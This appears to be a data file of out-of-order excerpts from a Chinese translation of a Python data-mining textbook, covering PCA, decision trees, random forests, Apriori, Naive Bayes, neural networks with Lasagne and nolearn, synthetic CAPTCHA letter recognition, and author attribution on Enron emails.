    {"text": "要修复这个问题，我们需要编写将字符串转换为数字的函数，该函数能够把只包含数字的字符串转换为数字，把其余的转化为“NaN” 2 （“Not a Number”，不是一个数字），表示参数值无法转换为数字，该值类似于其他编程语言中的none或null。"},
    {"text": "转换函数声明如下： def convert_number(x): 先试着把字符串转换为数字，如果失败就要处理异常，所以我们这里使用 try/except 结构，捕获 ValueError 异常（字符串无法转换为数字时，抛出异常）。 try: return float(x) except ValueError: 在函数的最后，如果转换失败，返回 numpy 库中的“NaN”类型。"},
    {"text": "converters[1558] = lambda x: 1 if x.strip() == \"ad.\" else 0 可以用 read_csv 加载数据集了，在参数中指定我们刚创建的转换函数。 ads = pd.read_csv(data_filename, header=None, converters=converters) 数据集很大，有1559列，2000多条数据。"},
    {"text": "将数据集加载到pandas之后，我们再来抽取用于分类算法的 x 矩阵和 y 数组， x 矩阵为数据框除去最后一列的所有列， y 数组包含数据框的最后一列，也就是列编号为#1558的列。"},
    {"text": "请见代码： from sklearn.decomposition import PCA pca = PCA(n_components=5) Xd = pca.fit_transform(X) 返回的结果 Xd 矩阵只有五个特征，但是不容小觑，我们看一下每个特征的方差。"},
    {"text": "np.set_printoptions(precision=3, suppress=True) pca.explained_variance_ratio_ 结果 array([ 0.854, 0.145, 0.001, 0. , 0. ]) 表明第一个特征的方差对数据集总体方差的贡献率为85.4%。"},
    {"text": "用PCA算法处理数据一个不好的地方在于，得到的主成分往往是其他几个特征的复杂组合，例如，上述第一个特征就是通过为原始数据集的1558个特征（虽然很多特征值为0）分别乘以不同权重得到的，前三个特征的权重依次为-0.092、-0.995和-0.024。"},
    {"text": "clf = DecisionTreeClassifier(random_state=14) scores_reduced = cross_val_score(clf, Xd, y, scoring='accuracy') 正确率为0.9356，比起只用所有的原始特征效果（稍）好。"},
    {"text": "colors = ['red', 'green'] 用 zip 函数将这两个列表组合起来，同时遍历。 for cur_class, color in zip(classes, colors): 为属于当前类别的所有个体创建遮罩层。"},
    {"text": "plt.scatter(Xd[mask,0], Xd[mask,1], marker='o', color=color, label=int(cur_class)) 最后，在循环的外面，创建图示，显示图像，从中就能看到分属两个类别的个体。"},
    {"text": "Unknown 3.2 决策树 决策树是一种有监督的机器学习算法，它看起来就像是由一系列节点组成的流程图，其中位于上层节点的值决定下一步走向哪个节点。 跟大多数分类算法一样，决策树也分为两大步骤。 首先是训练阶段，用训练数据构造一棵树。上一章的近邻算法没有训练阶段，但是决策树需要。从这个意义上说，近邻算法是一种惰性算法，在用它进行分类时，它才开始干活。相反，决策树跟大多数机器学习方法类似，是一种积极学习的算法，在训练阶段完成模型的创建。 其次是预测阶段，用训练好的决策树预测新数据的类别。以上图为例， [\"is raining\", \"very windy\"] 的预测结果为“Bad”（坏天气）。 创建决策树的算法有多种，大都通过迭代生成一棵树。它们从根节点开始，选取最佳特征，用于第一个决策，到达下一个节点，选择下一个最佳特征，以此类推。当发现无法从增加树的层级中获得更多信息时，算法启动退出机制。 scikit-learn 库实现了 分类回归树 （Classification and Regression Trees，CART）算法并将其作为生成决策树的默认算法，它支持连续型特征和类别型特征。 3.2.1 决策树中的参数 退出准则是决策树的一个重要特性。构建决策树时，最后几步决策仅依赖于少数个体，随意性大。使用特定节点作出推测容易导致过拟合训练数据，而使用退出准则可以防止决策精度过高。 除了设定退出准则外，也可以先创建一棵完整的树，再对其进行修剪，去掉对整个过程没有提供太多信息的节点。这个过程叫作剪枝（pruning）。 scikit-learn 库实现的决策树算法给出了退出方法，使用下面这两个选项就可以达到目的。 min_samples_split ：指定创建一个新节点至少需要的个体数量。 min_samples_leaf ：指定为了保留节点，每个节点至少应该包含的个体数量。 第一个参数控制着决策节点的创建，第二个参数决定着决策节点能否被保留。 决策树的另一个参数是创建决策的标准，常用的有以下两个。 基尼不纯度 （Gini impurity）：用于衡量决策节点错误预测新个体类别的比例。 信息增益 （Information gain）：用信息论中的熵来表示决策节点提供多少新信息。 3.2.2 使用决策树 从scikit-learn库中导入 DecisionTreeClassifier 类，用它创建决策树。 from sklearn.tree import DecisionTreeClassifier clf = DecisionTreeClassifier(random_state=14) 我们再次设定 random_state 的值为14。本书中凡是用到 random_state 的地方，我们都用该值。使用相同的随机种子（random seed），能够保证几次实验结果相同。然而，在以后自己的实验中，为保证算法的性能不是与特定的随机状态值相关，在前后几次实验中，需使用不同的随机状态。 现在我们从pandas数据框中抽取数据，以便用 scikit-learn 分类器处理。指定需要的列，使用数据框的 values 属性，就能获取到每支球队的上一场比赛结果。 X_previouswins = dataset[[\"HomeLastWin\", \"VisitorLastWin\"]].values 跟第2章的近邻算法类似，决策树也是一种估计器，因此它同样有 fit 和 predict 方法。我们仍然可以用 cross_val_score 方法来求得交叉检验的平均正确率： scores = cross_val_score(clf, X_previouswins, y_true, scoring='accuracy') print(\"Accuracy: {0:.1f}%\".format(np.mean(scores) * 100)) 正确率为56.1%，比起随机预测来要更准确！我们应该可以做得更好。从数据集中构建有效特征（Feature Engineering，特征工程）是数据挖掘的难点所在，好的特征直接关系到结果的正确率——甚至比选择合适的算法更重要！"},
    {"text": "Unknown 4.1 亲和性分析 亲和性分析用来找出两个对象共同出现的情况。而前几章，我们关注的是同种对象之间的相似度。亲和性分析所用的数据通常为类似于交易信息的数据。从直观上来看，这些数据就像是商店的交易数据——从中能看出哪些商品是顾客一起购买的。 然而，亲和性分析方法的应用场景有很多，比如： 欺诈检测 顾客区分 软件优化 产品推荐 亲和性分析比分类更具探索性，因为通常我们无法拿到像在很多分类任务中所用的那样完整的数据集。例如，在电影推荐任务中，我们拿到的是不同用户对不同电影的评价。但是，每个用户不可能评价过所有电影，这就给亲和性分析带来一个不容忽视的大难题。如果用户没有评价过一部电影，是因为他们不喜欢这部电影（据此就不推荐给他们），还是因为他们出于别的原因还没有评价？ 本章不对上述问题做出解答，但是我们要思考数据集中类似这样的潜在问题该怎么解决。这些思考有助于提升推荐算法的准确性。 4.1.1 亲和性分析算法 我们在第1章介绍了一种基础的亲和性分析算法，尝试了所有可能的规则组合，计算了每条规则的置信度和支持度，并根据这两个标准进行排序，选取最佳规则。 然而，这个方法效率不高。好在第1章所使用的数据集中，每条交易数据只涉及五种商品。但现实并非如此，即使是再不起眼的小卖铺出售的商品也达上百种之多，网店更是有成千上万种商品（甚至几百万种！）。如果规则生成方法像第1章那样过于简单，计算这些规则所需要的时间复杂度将呈指数级增长。随着商品数量的增加，计算所有规则所需的时间增长得很快。更具体地说，所有可能的规则数量是2 n -1。数据集有5个特征，可能的规则就有31条；有10个特征，可能的规则就有1023条；仅仅有100个特征，规则数就能达到30位数字。即使计算能力大幅提升也未必能赶上在线商品的增长速度。因此，与其跟计算机过不去，不如寻找更加聪明的算法。 Apriori算法可以说是经典的亲和性分析算法。它只从数据集中频繁出现的商品中选取共同出现的商品组成 频繁项集 （frequent itemset），避免了上述复杂度呈指数级增长的问题。一旦找到频繁项集，生成关联规则就很容易了。 Apriori算法背后的原理简洁却不失巧妙。首先，确保了规则在数据集中有足够的 支持度 。Apriori算法的一个重要参数就是最小支持度。比如，要生成包含商品A、B的频繁项集（A, B），要求支持度至少为30，那么A和B都必须至少在数据集中出现30次。更大的频繁项集也要遵守该项约定，比如要生成频繁项集（A, B, C, D），那么子集(A, B, C)必须是频繁项集（当然D自己也要满足最小支持度标准）。 生成 频繁项集 后，将不再考虑其他可能的却不够频繁的项集（这样的集合有很多），从而大大减少测试新规则所需的时间。 其他亲和性分析算法有Eclat和 频繁项集挖掘算法 （FP-growth）。从数据挖掘角度看，这些算法比起基础的Apriori算法有很多改进，性能也有进一步提升。接下来，先来看一下最基础的Apriori算法。 4.1.2 选择参数 挖掘亲和性分析所用的关联规则之前，我们先用Apriori算法生成频繁项集。接着，通过检测频繁项集中前提和结论的组合，生成关联规则（例如，如果用户喜欢电影X，那么他很可能喜欢电影Y）。 第一个阶段，需要为Apriori算法指定一个项集要成为频繁项集所需的最小支持度。任何小于最小支持度的项集将不再考虑。如果最小支持度值过小，Apriori算法要检测大量的项集，会拖慢的运行速度；最小支持度值过大的话，则只有很少的频繁项集。 找出频繁项集后，在第二个阶段，根据置信度选取关联规则。可以设定最小置信度，返回一部分规则，或者返回所有规则，让用户自己选。 本章，我们设定最小置信度，只返回高于它的规则。置信度过低将会导致规则支持度高，正确率低；置信度过高，导致正确率高，但是返回的规则少。"},
    {"text": "CSV为简单的文本格式文件，每行为一条用逗号分隔的数据（文件格式的名字就是这么来的）。 在记事本里输入内容，保存时使用.csv扩展名，也能生成CSV文件。 只要能阅读文本文件的编辑器，就能打开CSV文件，也可以用Excel把它作为电子表格打开。"},
    {"text": "pandas 的安装方法如下： $pip3 install pandas 安装过程中若遇到任何困难，请访问 http://pandas.pydata.org/getpandas.html ，根据自己的系统，阅读相关安装指南。"},
    {"text": "这些问题来自数据，我们可以改动数据本身，但是这样做的话，容易忘记之前做过哪些操作，落下步骤或是弄错哪一步，因而无法重现之前的结果。"},
    {"text": "pandas.read_csv 函数提供了可用来修复数据的参数，导入文件时指定这几个参数就好。 导入后，我们还可以修改文件的头部，如下所示： dataset = pd.read_csv(data_filename, parse_dates=[\"Date\"], skiprows=[0,]) dataset.columns = [\"Date\", \"Score Type\", \"Visitor Team\", \"VisitorPts\", \"Home Team\", \"HomePts\", \"OT?\", \"Notes\"] 经过这些处理之后，结果会有很大改善，我们再来输出前5行看看： dataset.ix[:5] 结果如下。"},
    {"text": "找出主场获胜的球队： dataset[\"HomeWin\"] = dataset[\"VisitorPts\"] < dataset[\"HomePts\"] 我们把主场获胜球队的数据保存到NumPy数组里，稍后要用 scikit-learn 分类器对其进行处理。"},
    {"text": "遍历每一行数据，记录获胜球队。 当到达一行新数据时，分别查看该行数据中的两支球队在各自的上一场比赛中有没有获胜的。 创建（默认）字典，存储球队上次比赛的结果。 from collections import defaultdict won_last = defaultdict(int) 字典的键为球队，值为是否赢得上一场比赛。 遍历所有行，在此过程中，更新每一行，为其增加两个特征值：两支球队在上场比赛有没有获胜。"},
    {"text": "for index, row in dataset.iterrows(): home_team = row[\"Home Team\"] visitor_team = row[\"Visitor Team\"] row[\"HomeLastWin\"] = won_last[home_team] row[\"VisitorLastWin\"] = won_last[visitor_team] dataset.ix[index] = row 请注意，上述代码假定数据集是按照时间顺序排列的。 我们所使用的数据集是按这种顺序排列的，如果你的数据集不是这样，你需要把代码中的 dataset.iterrows() 替换为 dataset.sort(\"Date\").iterrows() 。"},
    {"text": "代码如下： won_last[home_team] = row[\"HomeWin\"] won_last[visitor_team] = not row[\"HomeWin\"] 上述代码运行结束后，我们多了两个新特征：HomeLastWin和VisitorLastWin。"},
    {"text": "Unknown 第 6 章——使用朴素贝叶斯进行社会媒体挖掘 3 3 社会媒体挖掘相关技术可参考人民邮电出版社出版的《社会媒体挖掘》一书。——编者注 垃圾信息监测 http://scikit-learn.org/stable/modules/model_evaluation.html#scoring-parameter 我们用本章所学到的内容，就可以创建用来监测社会媒体广播是否为垃圾消息的应用。你可以尝试创建由垃圾广播/正常广播组成的数据集，实现文本挖掘算法，评估结果。 垃圾监测算法需要考虑假阳性和假阴性的情况。很多人宁愿多浏览几条垃圾信息，也不愿因为垃圾过滤器过于强大而错过合法的信息。为了满足人们这一需求，你可以把F1值作为评估标准，用网格搜索寻找合适的参数值，具体方法请见上面链接。 自然语言处理和词性标注 http://www.nltk.org/book/ch05.html 本章我们所用到的技术比起其他领域使用的复杂语言模型算是轻量级。例如，别的模型可能使用词性标注来消除同形异义词的歧义，提升准确性。NLTK配套的书 4 有一章专门讲这个问题，详细内容请见上面的链接。全书也很值得一读。 4 中文版书名为《Python自然语言处理》，国内还可以找到英文版的影印版。据NLTK官网介绍2016年上半年将出版第2版。——译者注"},
    {"text": "两个网络之间连接的权重可以用矩阵来表示，其中行表示第一层的神经元，列表示第二层神经元（有时会用到该矩阵的转置矩阵）。 矩阵的每一个元素表示位于不同层的两个神经元之间连接的权重。"},
    {"text": "11.3.3 Theano 简介 Theano 是用来创建和运行数学表达式的工具。 它用起来乍一看跟编写程序没有差别，但是在 Theano 中，我们定义函数要做什么而不是怎么做，这样 Theano 就能以最佳的方式对表达式进行求值，还可以进行延迟计算——只在需要时，对表达式求值，而不是定义时。"},
    {"text": "11.3.4 Lasagne 简介 Theano 库不是用来创建神经网络的，就好比 numpy 库不是用来执行机器学习任务的，而是被别的库使用，来出卖苦力的。 Lasagne 库是专门用来构建神经网络的，它使用 Theano 进行计算。"},
    {"text": "卷积层使用少量相互连接的神经元，分析一部分输入值（比如我们这里的一张图像），便于神经网络实现对数据的标准转换，比如对图像数据的转换。"},
    {"text": "进入到Lasagne文件夹，使用下面命令安装： sudo python3 setup.py install 安装指南请见 http://lasagne.readthedocs.org/en/latest/user/installation.html 。"},
    {"text": "神经网络使用卷积层（一般而言，仅 卷积神经网络 包含该层）和池化层（pooling layer），池化层接收某个区域最大输出值，可以降低图像中的微小变动带来的噪音，减少（down-sample，降采样）信息量，这样后续各层所需工作量也会相应减少。"},
    {"text": "from sklearn.datasets import load_iris iris = load_iris() X = iris.data.astype(np.float32) y_true = iris.target.astype(np.int32) Lasagne 对数据类型有特殊要求，因此，需要把类别值转换为 int32 类型（在原始数据集中用 int64 类型存储）。"},
    {"text": "from sklearn.cross_validation import train_test_split X_train, X_test, y_train, y_test = train_test_split(X, y_true, random_ state=14) 接着，分别创建卷积神经网络各层。"},
    {"text": "hidden_layer = lasagne.layers.DenseLayer(input_layer, num_units=12, nonlinearity=lasagne.nonlinearities.sigmoid) 接下来，创建输出层，它接收来自隐含层的输入，输出层共有三个神经元（跟类别的数量一致），使用非线性的 softmax 函数，该函数主要用于神经网络的最后一层。 output_layer = lasagne.layers.DenseLayer(hidden_layer, num_units=3, nonlinearity=lasagne. nonlinearities.softmax) 依照 Lasagne 的习惯用法，输出层为我们的神经网络。"},
    {"text": "import theano.tensor as T net_input = T.matrix('net_input') net_output = output_layer.get_output(net_input) true_output = T.ivector('true_output') 接着，定义损失函数，训练函数如何提升网络效果需要参考它的返回值——训练神经网络时，以最小化损失函数的返回值为前提。"},
    {"text": "all_params = lasagne.layers.get_all_params(output_layer) updates = lasagne.updates.sgd(loss, all_params, learning_rate=0.1) 最后，创建两个 Theano 函数，先是训练网络，然后获取网络的输出，以用于后续测试。 import theano train = theano.function([net_input, true_output], loss, updates=updates) get_output = theano.function([net_input], net_output) 然后调用训练函数，在训练集上进行一轮迭代，接收训练数据，预测类别，与给定类别作比较，更新特征权重，以最小化损失。"},
    {"text": "y_output = get_output(X_test) 注意， get_output 为 Theano 函数，是我们从神经网络中获取到的，因此，上述代码不用再把神经网络作为参数传进去。"},
    {"text": "11.3.5 用 nolearn 实现神经网络 nolearn 对 Lasagne 进行了封装，虽然比起用 Lasagne 创建神经网络，使用 nolearn 无法对一些细节进行调整，但是代码可读性更强，也更容易管理。 nolearn 实现了几种常见的复杂程度很高的神经网络，应该能够满足你的需求。"},
    {"text": "import numpy as np from PIL import Image, ImageDraw, ImageFont from skimage.transform import resize from skimage import transform as tf from skimage.measure import label, regionprops from sklearn.utils import check_random_state from sklearn.preprocessing import OneHotEncoder from sklearn.cross_validation import train_test_split def create_captcha(text, shear=0, size=(100, 24)): im = Image.new(\"L\", size, \"black\") draw = ImageDraw.Draw(im) font = ImageFont.truetype(r\"Coval.otf\", 22) draw.text((2, 2), text, fill=1, font=font) image = np.array(im) affine_tf = tf.AffineTransform(shear=shear) image = tf.warp(image, affine_tf) return image / image.max() def segment_image(image): labeled_image = label(image > 0) subimages = [] for region in regionprops(labeled_image): start_x, start_y, end_x, end_y = region.bbox subimages.append(image[start_x:end_x,start_y:end_y]) if len(subimages) == 0: return [image,] return subimages random_state = check_random_state(14) letters = list(\"ABCDEFGHIJKLMNOPQRSTUVWXYZ\") shear_values = np.arange(0, 0.5, 0.05) def generate_sample(random_state=None): random_state = check_random_state(random_state) letter = random_state.choice(letters) shear = random_state.choice(shear_values) return create_captcha(letter, shear=shear, size=(20, 20)), letters.index(letter) dataset, targets = zip(*(generate_sample(random_state) for i in range(3000))) dataset = np.array(dataset, dtype='float') targets = np.array(targets) onehot = OneHotEncoder() y = onehot.fit_transform(targets.reshape(targets.shape[0],1)) y = y.todense().astype(np.float32) dataset = np.array([resize(segment_image(sample)[0], (20, 20)) for sample in dataset]) X = dataset.reshape((dataset.shape[0], dataset.shape[1] * dataset. shape[2])) X = X / X.max() X = X.astype(np.float32) X_train, X_test, y_train, y_test = \\ train_test_split(X, y, train_size=0.9, random_state=14) 神经网络由一系列的层组成。"},
    {"text": "from lasagne import layers layers=[ ('input', layers.InputLayer), ('hidden', layers.DenseLayer), ('output', layers.DenseLayer), ] 导入以下所需模块，用到时再解释它们的作用。"},
    {"text": "from lasagne import updates from nolearn.lasagne import NeuralNet from lasagne.nonlinearities import sigmoid, softmax 接着，定义神经网络，它与 scikit-learn 估计器兼容。"},
    {"text": "regression=True, 最后，最大训练步数（epoch）设置为1000，这样既能保证训练效果，又不至于花太长时间（对于我们数据集很合适，但其他数据集训练步数会有所差异）。"},
    {"text": "y_pred = net1.predict(X_test) y_pred = y_pred.argmax(axis=1) assert len(y_pred) == len(X_test) if len(y_test.shape) > 1: y_test = y_test.argmax(axis=1) print(f1_score(y_test, y_pred)) 结果同样振奋人心——在我的计算机上，再次全部预测正确。"},
    {"text": "例如，把决策树的深度限制在三层，只让它学习从全局角度拆分数据集的最佳规则，不让它学习适用面很窄的特定规则，这些规则会将数据集进一步拆分为更加细致的群组。"},
    {"text": "因为它使用了 DecisionTreeClassifier 的大量实例，所以它俩的很多参数是一致的，比如决策标准（基尼不纯度/信息增益）、 max_features 和 min_samples_split 。"},
    {"text": "from sklearn.ensemble import RandomForestClassifier clf = RandomForestClassifier(random_state=14) scores = cross_val_score(clf, X_teams, y_true, scoring='accuracy') print(\"Accuracy: {0:.1f}%\".format(np.mean(scores) * 100)) 只是靠更换分类器，正确率就提升了0.6%，达到60.6%。"},
    {"text": "X_all = np.hstack([X_home_higher, X_teams]) clf = RandomForestClassifier(random_state=14) scores = cross_val_score(clf, X_all, y_true, scoring='accuracy') print(\"Accuracy: {0:.1f}%\".format(np.mean(scores) * 100)) 正确率为61.1%——又有所提升！ 可以使用 GridSearchCV 类搜索最佳参数，代码如下： parameter_space = { \"max_features\": [2, 10, 'auto'], \"n_estimators\": [100,], \"criterion\": [\"gini\", \"entropy\"], \"min_samples_leaf\": [2, 4, 6], } clf = RandomForestClassifier(random_state=14) grid = GridSearchCV(clf, parameter_space) grid.fit(X_all, y_true) print(\"Accuracy: {0:.1f}%\".format(grid.best_score_ * 100)) 这次正确率提升较大，达到了64.2%！"},
    {"text": "RandomForestClassifier(bootstrap=True, compute_importances=None, criterion='entropy', max_depth=None, max_features=2, max_leaf_nodes=None, min_density=None, min_samples_leaf=6, min_samples_split=2, n_estimators=100, n_jobs=1, oob_score=False, random_state=14, verbose=0) 3.4.4 创建新特征 从上述几个例子中，我们看到改变特征对算法的表现有很大影响。"},
    {"text": "dataset[\"New Feature\"] = feature_creator(dataset) 最直接的做法是一开始为新特征设置默认的值，比如0。 如下所示： dataset[\"My New Feature\"] = 0 接下来，遍历数据集，计算所需特征。"},
    {"text": "for index, row in dataset.iterrows(): home_team = row[\"Home Team\"] visitor_team = row[\"Visitor Team\"] # Some calculation here to alter row dataset.ix[index] = row 请注意，上面这种遍历方法效率不高。"},
    {"text": "）验证码 深度网络 增强学习 第 9 章——作者归属问题 增加数据量 博客语料 局部N元语法 第 10 章——新闻语料分类 算法评价 近期趋势分析 实时聚类 第 11 章——用深度学习方法为图像中的物体进行分类 Keras和Pylearn2 Mahotas 第 12 章——大数据处理 Hadoop课程 Pydoop 推荐引擎 更多资源"},
    {"text": "Unknown 12.5 小结 本章研究的是如何运行大数据处理任务。其实，从各方面标准来看，我们的数据集还是有点小——只有几百兆。很多行业实际数据集都比这大多了，对其进行计算就需要更强大的计算能力。此外，我们所使用的算法可根据具体的任务做进一步优化，以提升扩展能力。 为了预测博主的性别，我们从博客文章中抽取词频特征。我们借助mrjob包，用映射和规约方法抽取博客内容和词频。抽取完成后，训练朴素贝叶斯分类器，预测博主性别。 我们可以用mrjob包先在本地测试，然后使用亚马逊的EMR云平台。你也可以使用其他云平台，甚至定制亚马逊EMR集群运行MapReduce任务，但是需要更多的操作才能跑起来。 Unknown 2.2 流水线在预处理中的应用 现实中，物体不同特征的取值范围会非常广，它们的值域可能存在天壤之别。例如，测量动物的属性，会得到下面这样千差万别的特征值。 腿的数量 ：大多数动物有0到8条腿，但也有比这多得多的！ 体重 ：从几微克到上百吨都有可能，有的蓝鲸重达190吨！ 心脏数量 ：0到5之间，蚯蚓就有5颗心脏。 对于借助数学方法来比较特征的算法而言，它们很难理解特征在规模、范围和单位上的差异。如果我们在多种算法中使用上述特征，体重由于数值较大，可能都会是最显著的特征，但特征值大小实际上与该特征的分类效果没有任何关系。 不同特征的取值范围千差万别，常见的解决方法是对不同的特征进行 规范化 ，使它们的特征值落在相同的值域或从属于某几个确定的类别，比如 小 、 中 和 大 。一旦解决这个问题，不同的特征类型对算法的影响将大大降低，分类正确率就能有大幅提升。 选择最具区分度的特征、创建新特征等都属于预处理的范畴。 scikit-learn 的预处理工具叫作转换器（ Transformer ），它接受原始数据集，返回转换后的数据集。除了处理数值型特征，转换器还能用来抽取特征。在这里，我们只看下对数值型特征的预处理方法。 2.2.1 预处理示例 为了讲解需要，先来对Ionosphere数据集做些 破坏 。虽然这里的麻烦是人为制造的，但是这些问题在很多真实数据集里都存在。首先，为了不破坏原来的数据集，我们为其创建一个副本。 X_broken = np.array(X) 接下来，我们就要 捣乱 了，每隔一行，就把第二个特征的值除以10。 X_broken[:,::2] /= 10 理论上讲，这样做对结果影响应该不大。毕竟，除以10之后，各个特征相差不大。主要的问题是，数值范围变了，奇数行的第二个特征要比偶数行的 大 。再次计算正确率看一下效果。 estimator = KNeighborsClassifier() original_scores = cross_val_score(estimator, X, y, scoring='accuracy') print(\"The original average accuracy for is {0:.1f}%\".format(np.mean(original_scores) * 100)) broken_scores = cross_val_score(estimator, X_broken, y, scoring='accuracy') print(\"The 'broken' average accuracy for is {0:.1f}%\".format(np.mean(broken_scores) * 100)) 还记得吧，在原始数据集上的正确率为82.3%，这次跌至71.5%。把特征值转变到0到1之间就能解决这个问题。 2.2.2 标准预处理 我们接下来用 MinMaxScaler 类进行基于特征的规范化。在本章的笔记本文件中，接着之前的代码写，首先导入所需的类。 from sklearn.preprocessing import MinMaxScaler 这个类可以把每个特征的值域规范化为0到1之间。最小值用0代替，最大值用1代替，其余值介于两者之间。 接下来，对数据集 X 进行预处理。我们在预处理器 MinMaxScaler 上调用转换函数。有些转换器要求像训练分类器那样先进行训练，但是 MinMaxScaler 不需要，直接调用 fit_transform() 函数，即可完成训练和转换。 X_transformed = MinMaxScaler().fit_transform(X) X_transformed 与 X 行列数相等，为同型矩阵。然而，前者每列值的值域为0到1。 还有很多其他类似的规范化方法，对于其他类型的应用和特征类型会很有用。 为使每条数据各特征值的和为1，使用 sklearn.preprocessing.Normalizer 。 为使各特征的均值为0，方差为1，使用 sklearn.preprocessing.StandardScaler ，常用作规范化的基准。 为将数值型特征的二值化，使用 sklearn.preprocessing.Binarizer ，大于阈值的为1，反之为0。 后续章节，将会组合运用上述预处理方法及其他转换器对象。 2.2.3 组装起来 现在我们把前几节所讲的代码组合起来，创建一套完整的工作流，处理被破坏过的数据集。 X_transformed = MinMaxScaler().fit_transform(X_broken) estimator = KNeighborsClassifier() transformed_scores = cross_val_score(estimator, X_transformed, y, scoring='accuracy') print(\"The average accuracy for is {0:.1f}%\".format(np.mean(transformed_scores) * 100)) 正确率再次升到82.3%。 MinMaxScaler 将特征规范化到相同的值域，这样特征就不会仅仅因为值大而具备更强的区分度。简单总结下，异常值会影响近邻算法，不同算法对值域大小的敏感度不同。"},
    {"text": "2001年， 安然丑闻 发生，调查人员发现安然为谋取暴利，在全公司范围内账务存在系统性造假现象。 丑闻被揭发后，安然公司的股价从2000年的90多美元一下子跌到了2001年的1美元。"},
    {"text": "enron_data_folder = os.path.join(os.path.expanduser(\"~\"), \"Data\", \"enron_mail_20110402\", \"maildir\") 9.5.2 创建数据集加载工具 我们现在就来创建一个函数，它接收几个发件人作为参数，返回他们所发送的邮件。"},
    {"text": "代码如下： def get_enron_corpus(num_authors=10, data_folder=data_folder, min_docs_author=10, max_docs_author=100, random_state=None): random_state = check_random_state(random_state) 接下来，获取到安然公司员工的邮箱，邮箱其实就是data_folder文件夹中各子文件夹的名称。"},
    {"text": "email_addresses = sorted(os.listdir(data_folder)) random_state.shuffle(email_addresses) 你可能很好奇我们既然后面接着要随机调整顺序，那为什么还要事先进行排序。"},
    {"text": "代码如下： authors = {} 接下来，遍历邮箱文件夹，查找它下面名字中含有“sent”的表示发件箱的子文件夹。 代码如下： for user in email_addresses: users_email_folder = os.path.join(data_folder, user) mail_folders = [os.path.join(users_email_folder, subfolder) for subfolder in os.listdir(users_email_folder) if \"sent\" in subfolder] 获得子文件夹中的每一封邮件。"},
    {"text": "代码如下： try: authored_emails = [open(os.path.join(mail_folder, email_filename), encoding='cp1252').read() for mail_folder in mail_folders for email_filename in os.listdir(mail_folder)] except IsADirectoryError: continue 接下来，检测是否获取到了至少10封邮件（或 min_docs_author 指定的其他值）。 if len(authored_emails) < min_docs_author: continue 下一步，如果发件人发了大量邮件，只取前100封（具体数量由 max_docs_author 指定）。 if len(authored_emails) > max_docs_author: authored_emails = authored_emails[:max_docs_author] 解析邮件，获取邮件内容。"},
    {"text": "contents = [p.parsestr(email)._payload for email in authored_emails] documents.extend(contents) 把该发件人添加到类别列表中，每一封邮件添加一次。 classes.extend([author_num] * len(authored_emails)) 记录该收件人的编号，再把编号加1，以便下一个收件人使用。 authors[user] = author_num author_num += 1 检测收件人数量是否达到我们设置的值，如果是，跳出循环，返回数据集。 if author_num >= num_authors or author_num >= len(email_addresses): break 返回邮件数据集和类别以及收件人字典。 return documents, np.array(classes), authors 在上述函数的外面，调用这个函数，我们就能得到数据集。"},
    {"text": "documents, classes, authors = get_enron_corpus(data_folder=enron_data_ folder, random_state=14) 如果你看下现有的数据集，你就会发现还需要做进一步的预处理。"},
    {"text": "import quotequail def remove_replies(email_contents): 接着用 quotequail 把邮件解析为几个部分，返回字典结构。 代码如下： r = quotequail.unwrap(email_contents) 有时候， r 可能为none，比如邮件出于这样那样的原因解析失败。"},
    {"text": "代码如下： elif 'text' in r: return r['text'] 最后，如果这两个键都没有找到，返回邮件全部内容，希望多少会对数据分析有点用处。 return email_contents 对数据集中的每一封邮件，运行上述函数，做一遍预处理。 documents = [remove_replies(document) for document in documents] 我们之前看过的那封含有被回复邮件的文档，经过处理后，只包含Mark Greenberg所发的内容。"},
    {"text": "I am disappointed on the timing but I understand. Thanks. Mark 9.5.3 组装起来 我们可以使用前面实验所用到的参数空间和分类器——在新数据集上进行训练。"},
    {"text": "代码如下： scores = cross_val_score(pipeline, documents, classes, scoring='f1') print(\"Score: {:.3f}\".format(np.mean(scores))) F1值为0.523，对于包含这么多噪音的数据集来说，结果还算可以。"},
    {"text": "from sklearn.cross_validation import train_test_split training_documents, testing_documents, y_train, y_test = train_test_split(documents, classes, random_state=14) 接着，把训练集传入流水线，进行训练，接着对测试集进行预测。 pipeline.fit(training_documents, y_train) y_pred = pipeline.predict(testing_documents) 你可能想知道最好的参数组合是什么。"},
    {"text": "创建混淆矩阵： from sklearn.metrics import confusion_matrix cm = confusion_matrix(y_pred, y_test) cm = cm / cm.astype(np.float).sum(axis=1) 我们接下来作图要用到刻度，因此需要取到发件人。"},
    {"text": "%matplotlib inline from matplotlib import pyplot as plt plt.figure(figsize=(10,10)) plt.imshow(cm, cmap='Blues') tick_marks = np.arange(len(sorted_authors)) plt.xticks(tick_marks, sorted_authors) plt.yticks(tick_marks, sorted_authors) plt.ylabel('Actual') plt.xlabel('Predicted') plt.show() 图像如下。"},
    {"text": "from sklearn.base import TransformerMixin class NLTKBOW(TransformerMixin): def fit(self, X, y=None): return self def transform(self, X): return [{word: True for word in word_tokenize(document)} for document in X] 返回结果为一个元素为字典的列表，第一个字典的各项为第一条消息中的所有词语。"},
    {"text": "from sklearn.feature_extraction import DictVectorizer 6.4.3 训练朴素贝叶斯分类器 最后，我们需要组装分类器，因为本章使用朴素贝叶斯算法，数据集只包含二值特征，因此我们使用专门用于二值特征分类的 BernoulliNB 分类器，它用起来很简单。"},
    {"text": "代码如下： import os input_filename = os.path.join(os.path.expanduser(\"~\"), \"Data\", \"twitter\", \"python_tweets.json\") labels_filename = os.path.join(os.path.expanduser(\"~\"), \"Data\", \"twitter\", \"python_classes.json\") 加载消息。"},
    {"text": "代码如下： tweets = [] with open(input_filename) as inf: for line in inf: if len(line.strip()) == 0: continue tweets.append(json.loads(line)['text']) 加载消息的类别。"},
    {"text": "我们创建的 NLTKBOW 转换器 DictVectorizer 转换器 BernoulliNB 分类器 流水线代码如下： from sklearn.pipeline import Pipeline pipeline = Pipeline([('bag-of-words', NLTKBOW()), ('vectorizer', DictVectorizer()), ('naive-bayes', BernoulliNB()) ]) 我们几乎现在就可以运行流水线，用之前多次用过的 cross_val_score 方法来计算正确率。"},
    {"text": "例如，对于垃圾邮件过滤器而言，其所处理的邮件很可能80%以上都是垃圾邮件，倘若一个 过滤器 把所有邮件都标为垃圾邮件，它没有实际应用价值，但是正确率却高达80%！"},
    {"text": "准确率 是指预测结果属于某一类的个体，实际属于该类的比例。 召回率 是指被正确预测为某个类别的个体数量与数据集中该类别个体总量的比例。"},
    {"text": "因此，准确率计算变为以下问题： 在所有被预测为相关的消息中，真正相关的占比多少 ？ 类似地，召回率就转化为： 数据集所有相关的消息中，有多少被正确预测为相关的 ？"},
